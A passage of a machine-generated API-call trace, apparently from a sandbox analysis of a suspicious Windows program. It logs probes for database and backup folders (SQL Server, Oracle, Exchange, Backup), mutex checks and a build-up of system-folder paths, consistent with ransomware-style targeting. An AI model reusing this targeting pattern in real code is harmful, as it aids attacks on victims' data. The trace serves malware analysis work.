ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0041.800] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.800] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.800] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.800] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.800] GlobalUnlock (hMem=0x44000c) returned 0 [0041.800] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.800] GlobalLock (hMem=0x440004) returned 0x553188 [0041.800] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.801] GlobalUnlock (hMem=0x44000c) returned 0 [0041.801] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.801] GlobalUnlock (hMem=0x440004) returned 0 [0041.801] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.801] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0041.801] GetLastError () returned 0x12 [0041.801] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0041.801] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0041.801] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.801] GlobalLock (hMem=0x440004) returned 0x550170 [0041.801] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.801] GlobalUnlock (hMem=0x440004) returned 0 [0041.801] GlobalLock (hMem=0x440004) returned 0x550170 [0041.801] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.801] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.801] GlobalUnlock (hMem=0x440004) returned 0 [0041.801] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.801] GlobalUnlock (hMem=0x44000c) returned 0 [0041.801] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.801] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.801] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.801] GlobalUnlock (hMem=0x44000c) returned 0 [0041.801] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.801] GlobalLock (hMem=0x440004) returned 0x552180 [0041.801] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.801] GlobalUnlock (hMem=0x44000c) returned 0 [0041.801] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.801] GlobalUnlock (hMem=0x440004) returned 0 [0041.801] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.801] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT", len=0x36 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT") returned 1 [0041.802] GlobalLock (hMem=0x440004) returned 0x550170 [0041.802] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.802] GlobalUnlock (hMem=0x440004) returned 0 [0041.802] GlobalLock (hMem=0x440004) returned 0x550170 [0041.802] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.802] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.802] GlobalUnlock (hMem=0x440004) returned 0 [0041.802] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.802] GlobalUnlock (hMem=0x44000c) returned 0 [0041.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@볮R볂R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0041.967] GetLastError () returned 0x3 [0041.967] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0041.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\ition\\") returned 21 [0041.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뱔R企@\x18㽜Q\x181")) returned 0xffffffff [0042.010] GetLastError () returned 0x2 [0042.010] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0042.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\ition\\") returned 9 [0042.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0042.012] GetLastError () returned 0x2 [0042.012] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0042.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\ition\\") returned 8 [0042.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@⊤R企@\x18?T\x18D")) returned 0xffffffff [0042.014] GetLastError () returned 0x2 [0042.014] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0042.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\ition\\") returned 37 [0042.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뱔R企@\x18몤R\x18j")) returned 0xffffffff [0042.016] GetLastError () returned 0x2 [0042.016] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\ition\\") returned 37 [0042.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\ition\\") returned 6 [0042.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@⊤R企@\x18?T\x18q")) returned 0xffffffff [0042.017] GetLastError () returned 0x2 [0042.018] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.018] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0042.018] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\ition\\") returned 7 [0042.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@袔T企@\x18?T\x18y")) returned 0xffffffff [0042.019] GetLastError () returned 0x2 [0042.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0042.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\ition\\") returned 7 [0042.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뱔R企@\x18?T\x18\x81")) returned 0xffffffff [0042.021] GetLastError () returned 0x2 [0042.021] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.021] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0042.021] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\ition\\") returned 6 [0042.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@⊤R企@\x18?T\x18\x88")) returned 0xffffffff [0042.023] GetLastError () returned 0x2 [0042.023] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0042.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\ition\\") returned 6 [0042.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@袔T企@\x18?T\x18\x8f")) returned 0xffffffff [0042.024] GetLastError () returned 0x2 [0042.025] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0042.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\ition\\") returned 7 [0042.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69850, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뱔R企@\x18?T\x18\x97")) returned 0xffffffff [0042.026] GetLastError () returned 0x2 [0042.026] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0042.026] GlobalLock (hMem=0x44000c) returned 0x550170 [0042.026] GlobalHandle (pMem=0x550170) returned 0x44000c [0042.026] GlobalUnlock (hMem=0x44000c) returned 0 [0042.027] GlobalLock (hMem=0x44000c) returned 0x550170 [0042.027] GlobalLock (hMem=0x440004) returned 0x552180 [0042.027] GlobalHandle (pMem=0x550170) returned 0x44000c [0042.027] GlobalUnlock (hMem=0x44000c) returned 0 [0042.027] GlobalHandle (pMem=0x552180) returned 0x440004 [0042.027] GlobalUnlock (hMem=0x440004) returned 0 [0042.027] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.027] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0042.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0042.027] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.027] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0042.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 46 [0042.027] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.027] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0042.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0042.028] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.028] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0042.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0042.028] GlobalLock (hMem=0x440004) returned 0x550170 [0042.028] GlobalHandle (pMem=0x550170) returned 0x440004 [0042.028] GlobalUnlock (hMem=0x440004) returned 0 [0042.028] GlobalLock (hMem=0x440004) returned 0x550170 [0042.028] GlobalLock (hMem=0x44000c) returned 0x552180 [0042.028] GlobalHandle (pMem=0x550170) returned 0x440004 [0042.028] GlobalUnlock (hMem=0x440004) returned 0 [0042.028] GlobalHandle (pMem=0x552180) returned 0x44000c [0042.028] GlobalUnlock (hMem=0x44000c) returned 0 [0042.028] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0042.028] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0042.028] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0042.029] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 18 [0042.029] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 28 [0042.029] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 10 [0042.029] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 8 [0042.030] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\grphflt\\") returned 0x37 [0042.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69510, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0042.030] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft 